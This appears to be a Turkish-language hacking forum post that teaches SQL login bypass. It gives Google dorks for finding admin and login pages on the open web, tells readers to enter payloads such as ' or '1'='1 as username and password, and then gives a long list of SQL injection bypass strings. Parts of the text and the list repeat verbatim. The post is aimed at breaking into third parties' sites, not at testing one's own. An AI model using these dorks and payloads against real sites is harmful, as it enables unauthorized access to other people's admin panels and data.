18-06-2017 Saat: 15:33
Sql login bypass
Merahaba ben Turk4z Bu dersde sql login bybass anlatacagım
İlk olarak dork seçelim ve googlede taratıyoruz.
Dorklar:
inurl:/login.php
inurl:/admin.php
inurl:/admin
inurl:/login.html
dorkların az olduguna bakmayın kendiniz bolca üretebilirsiniz
inurl:/denemelogin.php gibi..
Ve karşımıza panel gelecek panelin şifresine ve kullanıcı adına Aşagıdakilerden deneyin girecekdir.
Mesela Kullanıcıadı:' or '1'='1 pass:' or '1'='1 gibi.
![Bypass-Login-sql-injection.png](http://www.aliencoders.org/wp-content/uploads/2016/01/Bypass-Login-sql-injection.png)
Merahaba ben Turk4z Bu dersde sql login bybass anlatacagım
İlk olarak dork seçelim ve googlede taratıyoruz.
Dorklar:
inurl:/login.php
inurl:/admin.php
inurl:/admin
inurl:/login.html
dorkların az olduguna bakmayın kendiniz bolca üretebilirsiniz
inurl:/denemelogin.php gibi..
Ve karşımıza panel gelecek panelin şifresine ve kullanıcı adına Aşagıdakilerden deneyin girecekdir.
Mesela Kullanıcıadı:' or '1'='1 pass:' or '1'='1 gibi.
![Bypass-Login-sql-injection.png](http://www.aliencoders.org/wp-content/uploads/2016/01/Bypass-Login-sql-injection.png)
Kod:
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'
==
and 1=1--
and 1=1
' or 'one'='one--
' or 'one'='one
' and 'one'='one
' and 'one'='one--
1') and '1'='1--
admin' --
admin' #
admin'/*
or 1=1--
or 1=1#
or 1=1/*
) or '1'='1--
) or ('1'='1--
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'